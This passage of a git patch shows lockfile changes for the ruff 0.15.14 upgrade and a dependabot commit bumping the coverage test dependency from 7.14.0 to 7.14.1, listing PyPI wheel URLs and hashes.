"2026-05-14T13:44:04.375Z" }, - { url = "https://files.pythonhosted.org/packages/99/df/cf938cd6de3003178f03ad7c1ea2a6c099468c03a35037985070b37e76be/ruff-0.15.13-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9dbd6f94b434f896308e4d57fb7bfde0d02b99f7a64b3bdab0fdfa6a864203a5", size = 10804451, upload-time = "2026-05-14T13:44:25.221Z" }, - { url = "https://files.pythonhosted.org/packages/c7/7d/5d0973129b154ded2225729169d7068f26b467760b146493fde138415f23/ruff-0.15.13-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:bf3259f3be4d181bda591da5db2571aed6853c6a048157756448020bc6c5cd22", size = 10534285, upload-time = "2026-05-14T13:44:08.888Z" }, - { url = "https://files.pythonhosted.org/packages/1f/e3/6b999bbc66cd51e5f073842bc2a3995e99c5e0e72e16b15e7261f7abf57a/ruff-0.15.13-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae9c17e5eb4430c154e76abc25d79a318190f5a997f38fb6b114416c5319ffc9", size = 11312063, upload-time = "2026-05-14T13:44:11.274Z" }, - { url = "https://files.pythonhosted.org/packages/af/5a/642639e9f5db04f1e97fbd6e091c6fd20725bdf072fb114d00eefb9e6eb8/ruff-0.15.13-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2e2e39bff6c341f4b577a21b801326fab0b11847f48fcaa83f00a113c9b3cb55", size = 12183079, upload-time = "2026-05-14T13:44:01.634Z" }, - { url = "https://files.pythonhosted.org/packages/19/4c/7585735f6b53b0f12de13618b2f7d250a844f018822efc899df2e7b8295f/ruff-0.15.13-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e8d9a8e08013542e94d3220bc5b62cc3e5ef87c5f74bff367d3fac14fab013e6", size = 11440833, upload-time = "2026-05-14T13:43:59.043Z" }, - { url = "https://files.pythonhosted.org/packages/e8/31/bf1a0803d077e679cfeee5f2f67290a0fa79c7385b5d9a8c17b9db2c48f0/ruff-0.15.13-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc411dfebe5eebe55ce041c6ae080eb7668955e866daa2fbb16692a784f1c4ca", size = 11434486, upload-time = "2026-05-14T13:44:27.761Z" }, - { url = "https://files.pythonhosted.org/packages/e1/4e/62c9b999875d4f14db80f277c030578f5e249c9852d65b7ac7ad0b43c041/ruff-0.15.13-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:768494eb08b9cee54e2fd27969966f74db5a57f6eaa7a90fcb3306af34dfc4bd", size = 11385189, upload-time = "2026-05-14T13:44:13.704Z" }, - { url = "https://files.pythonhosted.org/packages/fc/89/7e959047a104df3eb12863447c110140191fc5b6c4f379ea2e803fcdb0e4/ruff-0.15.13-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:fb75f9a3a7e42ffe117d734494e6c5e5cb3565d66e12612cb63d0e572a41a5b6", size = 10781380, upload-time = "2026-05-14T13:43:56.734Z" }, - { url = "https://files.pythonhosted.org/packages/ff/52/5fd18f3b88cab63e88aa11516b3b4e1e5f720e5c330f8dbe5c26210f41f8/ruff-0.15.13-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:8cb74dd33bb2f6613faf7fc03b660053b5ac4f80e706d5788c6335e2a8048d51", size = 10540605, upload-time = "2026-05-14T13:44:20.748Z" }, - { url = "https://files.pythonhosted.org/packages/e8/e0/9e35f338990d3e41a82875ff7053ffe97541dae81c9d02143177f381d572/ruff-0.15.13-py3-none-musllinux_1_2_i686.whl", hash = "sha256:7ef823f817fcd191dc934e984be9cf4094f808effa16f2542ad8e821ba02bbf2", size = 11036554, upload-time = "2026-05-14T13:44:16.256Z" }, - { url = "https://files.pythonhosted.org/packages/c2/13/070fb048c24080fba188f66371e2a92785be257ad02242066dc7255ac6e9/ruff-0.15.13-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:f345a13937bd7f09f6f5d19fa0721b0c103e00e7f62bc67089a8e5e037719e0b", size = 11528133, upload-time = "2026-05-14T13:44:22.808Z" }, - { url = "https://files.pythonhosted.org/packages/6b/8c/b1e1666aef7fc6555094d73ae6cd981701781ae85b97ceefc0eebd0b4668/ruff-0.15.13-py3-none-win32.whl", hash = "sha256:4044f94208b3b05ba0fc4a4abd0558cf4d6459bd18325eead7fd8cc66f909b41", size = 10721455, upload-time = "2026-05-14T13:44:35.697Z" }, - { url = "https://files.pythonhosted.org/packages/ab/a6/870a3e8a50590bb92be184ad928c2922f088b00d9dc5c5ec7b924ee08c22/ruff-0.15.13-py3-none-win_amd64.whl", hash = "sha256:7064884d442b7d477b4e7473d12da7f08851d2b1982763c5d3f388a19468a1a4", size = 11900409, upload-time = "2026-05-14T13:44:30.389Z" }, - { url = "https://files.pythonhosted.org/packages/9b/36/9c015cd052fca743dae8cb2aeb16b551444787467db42ceab0fc968865af/ruff-0.15.13-py3-none-win_arm64.whl", hash = "sha256:2471da9bd1068c8c064b5fd9c0c4b6dddffd6369cb1cd68b29993b1709ff1b21", size = 11179336, upload-time = "2026-05-14T13:44:33.026Z" }, +version = "0.15.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/dc/8a/8bce2894573e9dae6ff4d77fe34ad727d79b9e6238ad288c5638990d90f6/ruff-0.15.14.tar.gz", hash = "sha256:48e866b165be4a9bdbf310f7d3c9a07edef2fe8cd63ffeb4e00bb590506ebf9f", size = 4700910, upload-time = "2026-05-21T14:34:55.177Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b9/c8/74a92c6ff9fcfb4f1f947126d3ebee8389276e161ecc85de5bda7cda51bd/ruff-0.15.14-py3-none-linux_armv6l.whl", hash = "sha256:8dd2db9416e487c8d4b01fa7056bb02c4d05969d4f8d17a08c229c2f4ff3c108", size = 10739177, upload-time = "2026-05-21T14:34:37.332Z" }, + { url = "https://files.pythonhosted.org/packages/45/91/254a35c20acc38a7223c9d2d594af12e794432464f2cdeb52af1dc4a892d/ruff-0.15.14-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:be4ff55af755bd71a00ab3dc6bd7ffc467bd76e0df6881e286c2e3d23e8fb43b", size = 11144969, upload-time = "2026-05-21T14:34:43.978Z" }, + { url = "https://files.pythonhosted.org/packages/56/9e/d13e40f83b8d0a94430e6778ce1d94a43b38cf2efe63278bdd2b4c65abbf/ruff-0.15.14-py3-none-macosx_11_0_arm64.whl", hash = "sha256:48d5909d7d06276ce7dde6d32bfa4b0d4cb2651145cd8ee4b440722cbc77832f", size = 10478207, upload-time = "2026-05-21T14:34:48.378Z" }, + { url = "https://files.pythonhosted.org/packages/8d/f1/b15a7839fa4f332f8acec78e20564f26bb2d866e3d21710b877fd0263000/ruff-0.15.14-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca8cbfa94c4f90984a67561978602746d4cd27103568f745fa90eee3f0d4107d", size = 10818459, upload-time = "2026-05-21T14:34:22.318Z" }, + { url = "https://files.pythonhosted.org/packages/45/33/53d651177f84f94b400a0e27f8824eeada3dddc9d5ee8aeb048f4352a520/ruff-0.15.14-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:9a6bbc0333f1ab053423bcbf6226477d266ca7cec7738c4c8e3f55647803f3c4", size = 10541800, upload-time = "2026-05-21T14:34:20.209Z" }, + { url = "https://files.pythonhosted.org/packages/b8/a6/868f87e0bf9786ed24b5d0d0ad8676b8a94fd1912f42cddf9cfc7857818a/ruff-0.15.14-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8a24a4f7605d7003a6674d4387651effd939dead3fddd0f36561eb77a9a2e542", size = 11342149, upload-time = "2026-05-21T14:34:46.365Z" }, + { url = "https://files.pythonhosted.org/packages/a7/8b/38cd5c19faffdcc05a408d2b78edccc69492ab9720eadb49ea15ef80d768/ruff-0.15.14-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:049b5326e53ed80978f2fc041a280603f69dd6b0c95464342a2bb4572d9d9e2f", size = 12212563, upload-time = "2026-05-21T14:34:28.579Z" }, + { url = "https://files.pythonhosted.org/packages/3e/4d/a3c5b874a556d5731e3e657aaf04311bb76f0a5c3ec220ed43051be6b64b/ruff-0.15.14-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d4ed42e6696c8dfa5f06728e6441993901f548eb92d73bc472cb5a38d1395fbf", size = 11493299, upload-time = "2026-05-21T14:34:41.836Z" }, + { url = "https://files.pythonhosted.org/packages/1e/c0/56472c251d09858a53e51efbd485b09e1995d8731668b76d52e5dd6ee0f1/ruff-0.15.14-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:715c543cf450c4888251f91c52f1942a800541d9bddd7ac060aa4e6b77ae7cba", size = 11455931, upload-time = "2026-05-21T14:34:57.276Z" }, + { url = "https://files.pythonhosted.org/packages/2c/4a/e2e7b4d8dbf233d4eace59c75bc3435fa6d8bd3bae82d351d4e4300c0fd1/ruff-0.15.14-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:72ebab6013ec887d439d8b7593737a0a4ffb06d45d209d4e4bf2e92813082d3f", size = 11400794, upload-time = "2026-05-21T14:34:39.773Z" }, + { url = "https://files.pythonhosted.org/packages/97/c7/83c0539fe34c3e09136204d1e75d6052492364e0b3cb05e9465423f567d7/ruff-0.15.14-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:49072d36abdbe97a8dd7f480afe9c675699c0c495d4c84076e2c1203c4550581", size = 10804759, upload-time = "2026-05-21T14:34:31.045Z" }, + { url = "https://files.pythonhosted.org/packages/86/a6/18f2bfc095a2ab4a78745644e428205532ce6653a5d0fa8501572891534d/ruff-0.15.14-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:958522aee105068640c2c2ceae08f413ae44d922f52a1374ac13d6a96032fc93", size = 10539517, upload-time = "2026-05-21T14:34:53.064Z" }, + { url = "https://files.pythonhosted.org/packages/54/3a/5a8b3b69c654d4e4bf1d246ac5b49cbcdac6eaab6905925f8915f31e3b80/ruff-0.15.14-py3-none-musllinux_1_2_i686.whl", hash = "sha256:f3707da619a143a2e8830e2abab8224478d69ace2d28cb6c20543ae97c36bf61", size = 11065169, upload-time = "2026-05-21T14:34:24.484Z" }, + { url = "https://files.pythonhosted.org/packages/ed/c5/8864e4e7925b836ea354b31d57641ec03830564e281a8b6f061f8c3e0ec1/ruff-0.15.14-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:bb01d645694e3ec0102105d07ef2d53703970407d59c04e59d3ba0b7a1d53553", size = 11560214, upload-time = "2026-05-21T14:34:50.975Z" }, + { url = "https://files.pythonhosted.org/packages/36/38/012bf76752e1f89ed50b77b99532d90f3a3e287bc7918e1fc0948ac866ac/ruff-0.15.14-py3-none-win32.whl", hash = "sha256:6d0c1ad2a0ab718d39b6d8fd2217981ce4d625cd96a720095f798fb47d8b13e6", size = 10805548, upload-time = "2026-05-21T14:34:33.453Z" }, + { url = "https://files.pythonhosted.org/packages/d1/b7/4ea2c170f10ad760fff2a5250beb18897719dc8b52b53a24cddbb9dd3f19/ruff-0.15.14-py3-none-win_amd64.whl", hash = "sha256:802342981e056db3851a7836e5b070f8f15f67d4a685ae2a6160939d364b2902", size = 11939523, upload-time = "2026-05-21T14:34:18.077Z" }, + { url = "https://files.pythonhosted.org/packages/62/d5/bc97ff895ec35cf3925d4bd60f3b39d822f377a446906ec9bcc87405e59b/ruff-0.15.14-py3-none-win_arm64.whl", hash = "sha256:ff47b90a9ef6a40c9e2f3b479c1fb78531adf055b94c1eba0a7ba04b31951826", size = 11208607, upload-time = "2026-05-21T14:34:26.525Z" }, ] [[package]] From 012dc62e467d636a26736adf8a07d53533f04253 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 27 May 2026 08:42:45 +0200 Subject: [PATCH 013/131] build(deps-dev): bump coverage from 7.14.0 to 7.14.1 (#1379) Bumps [coverage](https://github.com/coveragepy/coveragepy) from 7.14.0 to 7.14.1. - [Release notes](https://github.com/coveragepy/coveragepy/releases) - [Changelog](https://github.com/coveragepy/coveragepy/blob/main/CHANGES.rst) - [Commits](https://github.com/coveragepy/coveragepy/compare/7.14.0...7.14.1) --- updated-dependencies: - dependency-name: coverage dependency-version: 7.14.1 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 72 +++++++++++++++++++++++++------------------------- 2 files changed, 37 insertions(+), 37 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 38878bd36..60fbf57f5 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -45,7 +45,7 @@ dev = [ "django-watchfiles~=1.4", ] test = [ - "coverage==7.14.0", + "coverage==7.14.1", "django-test-migrations==1.5.0", ] lint = [ diff --git a/uv.lock b/uv.lock index d35263cc9..76f0bd9af 100644 --- a/uv.lock +++ b/uv.lock @@ -143,41 +143,41 @@ wheels = [ [[package]] name = "coverage" -version = "7.14.0" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/23/7f/d0720730a397a999ffc0fd3f5bebef347338e3a47b727da66fbb228e2ff2/coverage-7.14.0.tar.gz", hash = "sha256:057a6af2f160a85384cde4ab36f0d2777bae1057bae255f95413cdd382aa5c74", size = 919489, upload-time = "2026-05-10T18:02:31.397Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/6b/76/b7c66ee3c66e1b0f9d894c8125983aa0c03fb2336f2fd16559f9c966157f/coverage-7.14.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f2bbb8254370eb4c628ff3d6fa8a7f74ddc40565394d4f7ab791d1fe568e37ef", size = 219990, upload-time = "2026-05-10T18:00:38.887Z" }, - { url = "https://files.pythonhosted.org/packages/b3/af/e567cbad5ba69c013a50146dfa886dc7193361fda77521f51274ff620e1b/coverage-7.14.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:23b81107f46d3f21d0cbce30664fcec0f5d9f585638a67081750f99738f6bf66", size = 220365, upload-time = "2026-05-10T18:00:40.864Z" }, - { url = "https://files.pythonhosted.org/packages/44/6f/9ad575d505b4d805b254febc8a5b338a2efe278f8786e56ff1cb8413f9c3/coverage-7.14.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:22a7e06a5f11a757cdfe79018e9095f9f69ae283c5cd8123774c788deec8717b", size = 251363, upload-time = "2026-05-10T18:00:42.489Z" }, - { url = "https://files.pythonhosted.org/packages/6f/5f/b5370068b2f57787454592ed7dcd1002f0f1703b7db1fa30f6a325a4ca6e/coverage-7.14.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9d1aa57a1dc8e05bdc42e81c5d671d849577aeedf279f4c449d6d286f9ed88ca", size = 253961, upload-time = "2026-05-10T18:00:44.079Z" }, - { url = "https://files.pythonhosted.org/packages/29/1e/51adf17738976e8f2b85ddef7b7aa12a0838b056c92f175941d8862767c1/coverage-7.14.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:90c1a51bcfddf645b3bb7ec333d9e94393a8e94f55642380fa8a9a5a9e636cb7", size = 255193, upload-time = "2026-05-10T18:00:45.623Z" }, - { url = "https://files.pythonhosted.org/packages/9e/7b/5bfd7ac1df3b881c2ac7a5cbc99c7609e6296c402f5ef587cd81c6f355b3/coverage-7.14.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a841fae2fadcae4f438d43b6ccc4aac2ad609f47cdb6cfdce60cbb3fe5ca7bc2", size = 257326, upload-time = "2026-05-10T18:00:47.173Z" }, - { url = "https://files.pythonhosted.org/packages/7d/38/1d37d316b174fad3843a1d76dbdfe4398771c9ecd0515935dd9ece9cd627/coverage-7.14.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c79d2319cabef1fe8e86df73371126931550804738f78ad7d31e3aad85a67367", size = 251582, upload-time = "2026-05-10T18:00:49.152Z" }, - { url = "https://files.pythonhosted.org/packages/34/46/746704f95980ba220214e1a41e18cec5aea80a898eaa53c51bf2d645ff36/coverage-7.14.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1b23b0c6f0b1db6ad769b7050c8b641c0bf215ded26c1816955b17b7f26edfa9", size = 253325, upload-time = "2026-05-10T18:00:51.252Z" }, - { url = "https://files.pythonhosted.org/packages/e1/b9/bbe87206d9687b192352f893797825b5f5b15ecd3aa9c68fbff0c074d77b/coverage-7.14.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:55d3089079ce181a4566b1065ab28d2575eb76d8ac8f81f4fcda2bf037fee087", size = 251291, upload-time = "2026-05-10T18:00:52.816Z" }, - { url = "https://files.pythonhosted.org/packages/46/57/b8cdb12ac0d73ef0243218bd5e22c9df8f92edab8018213a86aec67c5324/coverage-7.14.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:49c005cba1e2f9677fb2845dcdf9a2e72a52a17d63e8231aaaae35d9f50215ef", size = 255448, upload-time = "2026-05-10T18:00:54.548Z" }, - { url = "https://files.pythonhosted.org/packages/1f/d4/5002019538b2036ce3c84340f54d2fd5100d55b0a6b0894eee56128d03c7/coverage-7.14.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:9117377b823daa28aa8635fbb08cda1cd6be3d7143257345459559aeef852d52", size = 251110, upload-time = "2026-05-10T18:00:56.122Z" }, - { url = "https://files.pythonhosted.org/packages/37/53/20c5009477660f084e6ed60bc02a91894b8e234e617e86ecfd9aaf78e27b/coverage-7.14.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7b79d646cf46d5cf9a9f40281d4441df5849e445726e369006d2b117710b33fe", size = 252885, upload-time = "2026-05-10T18:00:57.967Z" }, - { url = "https://files.pythonhosted.org/packages/ae/ab/3cf6427ac9c1f1db747dbb1ce71dde47984876d4c2cfd018a3fef0a78d4d/coverage-7.14.0-cp313-cp313-win32.whl", hash = "sha256:fb609b3658479e33f9516d46f1a89dbb9b6c261366e3a11844a96ec487533dae", size = 222539, upload-time = "2026-05-10T18:00:59.581Z" }, - { url = "https://files.pythonhosted.org/packages/8f/b8/9228523e80321c2cb4880d1f589bc0171f2f71432c35118ad04dc01decce/coverage-7.14.0-cp313-cp313-win_amd64.whl", hash = "sha256:0773d8329cf32b6fd222e4b52622c61fe8d503eb966cfc8d3c3c10c96266d50e", size = 223344, upload-time = "2026-05-10T18:01:01.531Z" }, - { url = "https://files.pythonhosted.org/packages/a3/99/118daa192f95e3a6cb2740100fbf8797cda1734b4134ef0b5d501a7fa8f3/coverage-7.14.0-cp313-cp313-win_arm64.whl", hash = "sha256:b4e26a0f1b696faf283bffe5b8569e44e336c582439df5d53281ab89ee0cba96", size = 221966, upload-time = "2026-05-10T18:01:03.16Z" }, - { url = "https://files.pythonhosted.org/packages/e6/f1/a46cc0c013be170216253184a32366d7cbdb9252feaec866b05c2d12a894/coverage-7.14.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:953f521ca9445300397e65fda3dca58b2dbd68fee983777420b57ac3c77e9f90", size = 220679, upload-time = "2026-05-10T18:01:05.058Z" }, - { url = "https://files.pythonhosted.org/packages/64/8c/9c30a3d311a34177fa432995be7fbfc64477d8bac5630bd38055b1c9b424/coverage-7.14.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:98af83fd65ae24b1fdd03aaead967a9f523bcd2f1aab2d4f3ffda65bb568a6f1", size = 221033, upload-time = "2026-05-10T18:01:07.002Z" }, - { url = "https://files.pythonhosted.org/packages/9a/cd/3fb5e06c3badefd0c1b47e2044fdca67f8220a4ec2e7fcfb476aa0a67c6c/coverage-7.14.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:668b92e6958c4db7cf92e81caac328dfbbdbb215db2850ad28f0cbe1eea0bfbd", size = 262333, upload-time = "2026-05-10T18:01:08.903Z" }, - { url = "https://files.pythonhosted.org/packages/a8/e6/fbc322325c7294d3e22c1ad6b79e45d0806b25228c8e5842aed6d8169aa7/coverage-7.14.0-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9fbd898551762dea00d3fef2b1c4f99afd2c6a3ff952ea07d60a9bd5ed4f34bc", size = 264410, upload-time = "2026-05-10T18:01:10.531Z" }, - { url = "https://files.pythonhosted.org/packages/08/92/c497b264bec1673c47cc77e26f760fcda4654cabf1f39546d1a23a3b8c35/coverage-7.14.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68af363c07ecd8d4b7d4043d85cb376d7d227eceb54e5323ee45da73dbd3e426", size = 266836, upload-time = "2026-05-10T18:01:12.19Z" }, - { url = "https://files.pythonhosted.org/packages/78/fc/045da320987f401af5d2815d351e8aa799aec859f60e29f445e3089eeedb/coverage-7.14.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6e57054a583da8ac55edf24117ea4c9133032cfc4cf72aa2d48c1e5d4b52f899", size = 267974, upload-time = "2026-05-10T18:01:13.926Z" }, - { url = "https://files.pythonhosted.org/packages/1b/ae/227b1e379497fb7a4fc3286e620f80c8a1e7cec66d45695a01639eb1af65/coverage-7.14.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cc3499459bbcdd51a65b64c35ab7ed2764eaf3cba826e0df3f1d7fe2e102b70b", size = 261578, upload-time = "2026-05-10T18:01:15.564Z" }, - { url = "https://files.pythonhosted.org/packages/a0/f5/3570342900f2acea31d33ff1590c5d8bac1a8e1a2e1c6d34a5d5e61de681/coverage-7.14.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:45899ec2138a4346ed34d601dedf5076fb74edf2d1dd9dc76a78e82397edee90", size = 264394, upload-time = "2026-05-10T18:01:17.607Z" }, - { url = "https://files.pythonhosted.org/packages/16/29/de1bbc01c935b28f89b1dc3db85b011c055e843a8e5e3b83141c3f80af7f/coverage-7.14.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8767486808c436f05b23ab98eb963fb29185e32a9357a166971685cb3459900f", size = 262022, upload-time = "2026-05-10T18:01:19.304Z" }, - { url = "https://files.pythonhosted.org/packages/35/95/f53890b0bf2fc10ab168e05d38869215e73ca24c4cb521c3bb0eb62fe16b/coverage-7.14.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a3b5ddfd6aa7ddad53ee3edb231e88a2151507a43229b7d71b953916deca127d", size = 265732, upload-time = "2026-05-10T18:01:21.494Z" }, - { url = "https://files.pythonhosted.org/packages/ed/ea/c919e259081dd2bdf0e43b87209709ba7ec2e4117c2a7f5185379c43463c/coverage-7.14.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:63df0fe568e698e1045792399f8ab6da3a6c2dce3182813fb92afa2641087b47", size = 260921, upload-time = "2026-05-10T18:01:23.533Z" }, - { url = "https://files.pythonhosted.org/packages/1a/2c/c2831889705a81dc5d1c6ca12e4d8e9b95dfc146d153488a6c0ea685d28e/coverage-7.14.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:827d6397dbd95144939b18f89edf31f63e1f99633e8d5f32f22ba8bdda567477", size = 263109, upload-time = "2026-05-10T18:01:25.165Z" }, - { url = "https://files.pythonhosted.org/packages/5a/a9/2fcae5003cac3d63fe344d2166243c2756935f48420863c5272b240d550b/coverage-7.14.0-cp313-cp313t-win32.whl", hash = "sha256:7bf43e000d24012599b879791cff41589af90674722421ef11b11a5431920bab", size = 223212, upload-time = "2026-05-10T18:01:27.157Z" }, - { url = "https://files.pythonhosted.org/packages/3f/bb/18e94d7b14b9b398164197114a587a04ab7c9fdbe1d237eef57311c5e883/coverage-7.14.0-cp313-cp313t-win_amd64.whl", hash = "sha256:3f5549365af25d770e06b1f8f5682d9a5637d06eb494db91c6fa75d3950cc917", size = 224272, upload-time = "2026-05-10T18:01:29.107Z" }, - { url = "https://files.pythonhosted.org/packages/db/56/4f14fad782b035c81c4ffd09159e7103d42bb1d93ac8496d04b90a11b7da/coverage-7.14.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6d160217ec6fe890f16ad3a9531761589443749e448f91986c972714fad361c8", size = 222530, upload-time = "2026-05-10T18:01:31.151Z" }, - { url = "https://files.pythonhosted.org/packages/61/e8/cb8e80d6f9f55b99588625062822bf946cf03ed06315df4bd8397f5632a1/coverage-7.14.0-py3-none-any.whl", hash = "sha256:8de5b61163aee3d05c8a2beab6f47913df7981dad1baf82c414d99158c286ab1", size = 211764, upload-time = "2026-05-10T18:02:29.538Z" }, +version = "7.14.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/54/fd/0ab2772530e946e1be1abd0bc09e647ec9b02e88f0867857601fefca8953/coverage-7.14.1.tar.gz", hash = "sha256:30c08f7d90415aa98b3c990385dea2939b0da55f38515e5b369b83655f8523be", size = 920132, upload-time = "2026-05-26T20:41:36.783Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8a/9e/5f6d56327c62b185225d145191c607e07515294a0aa6338e58805cd4a5ac/coverage-7.14.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:be9f2c802dcfce3f71298303aa5dad0dce440a76c52f2f60dacd8656dab78793", size = 220044, upload-time = "2026-05-26T20:39:29.902Z" }, + { url = "https://files.pythonhosted.org/packages/75/92/e82aca356744cbbc0f77a0b623e38918c1872361963413a3bab5d0340393/coverage-7.14.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6223a72fd0e4c7156353ec0f08a5f93623e1d3034d0e2683b9bb8ea674131b1d", size = 220412, upload-time = "2026-05-26T20:39:31.561Z" }, + { url = "https://files.pythonhosted.org/packages/27/c9/385bde0bf7ed0f4bf3a7ee5367060a86b5d218718cfd6fb943c0f836b34f/coverage-7.14.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:7279d2110a28cebc738b6459ecda2771735a4c18465fbbd36b3288fe5ed92247", size = 251412, upload-time = "2026-05-26T20:39:33.337Z" }, + { url = "https://files.pythonhosted.org/packages/51/8c/23faf6a2343a0d17f960a4bd56c43bc7eb4cf312f774dd6ceebd82c7d8fc/coverage-7.14.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9eeb3fcbc13ba40dfbdb22d01d196a28e9cef9ed4c29b60061a1e0e823a9929d", size = 254008, upload-time = "2026-05-26T20:39:35.009Z" }, + { url = "https://files.pythonhosted.org/packages/42/06/36f4aa9ca8a815e6036156e80706a67828bb97bd826948244f6996dda957/coverage-7.14.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f0cfc27c539f07cf5c0a4cfe211d0b6cae039f8f40526dbaa71944e64b50a7b", size = 255241, upload-time = "2026-05-26T20:39:36.71Z" }, + { url = "https://files.pythonhosted.org/packages/ca/79/95266316352f90f6b1c6736bb413302edfde2453fb32422d3911642691b3/coverage-7.14.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:221c70f316241a78e77e607c227cefc8808d4e08f28d99c04f35694690e940be", size = 257373, upload-time = "2026-05-26T20:39:38.412Z" }, + { url = "https://files.pythonhosted.org/packages/e3/9c/58316d1f66c488b5fca8a0eb3e98348807813efa8a0d0833b9021be27488/coverage-7.14.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:da028256b04ec30e5e0114b6f76172938c313991f0a2d3d894271315cf5d5e43", size = 251635, upload-time = "2026-05-26T20:39:40.268Z" }, + { url = "https://files.pythonhosted.org/packages/ef/5a/ca2398a568e16fed7bb713e84ba3603a7164fb65779abe645c565ec890d5/coverage-7.14.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76a085d7005236a767e3426148b2c407e53ad61695c562f8a81da2d373324901", size = 253373, upload-time = "2026-05-26T20:39:42.145Z" }, + { url = "https://files.pythonhosted.org/packages/6e/2c/0396562c32deaebe7be51d865b3a41e9a87d7561acafe1a28f53b07e019a/coverage-7.14.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b553d04b5e778a8e56d57eb134aff42a92718ecba45e79c4764ecfa40efd92ff", size = 251341, upload-time = "2026-05-26T20:39:43.907Z" }, + { url = "https://files.pythonhosted.org/packages/fd/8f/a94f9221184c9cae1ee115820e3798e48b6b17777a9f19e46fb9a0c8dc74/coverage-7.14.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:46f714d2fb8ae2f4f29f23ada7f1e79b759fff5a70f94a1dac23af204c3ec9e4", size = 255497, upload-time = "2026-05-26T20:39:46.166Z" }, + { url = "https://files.pythonhosted.org/packages/71/69/505d70e47db1eaebcd002c39759707621ef184cd6b1ae084d9f41293f323/coverage-7.14.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = 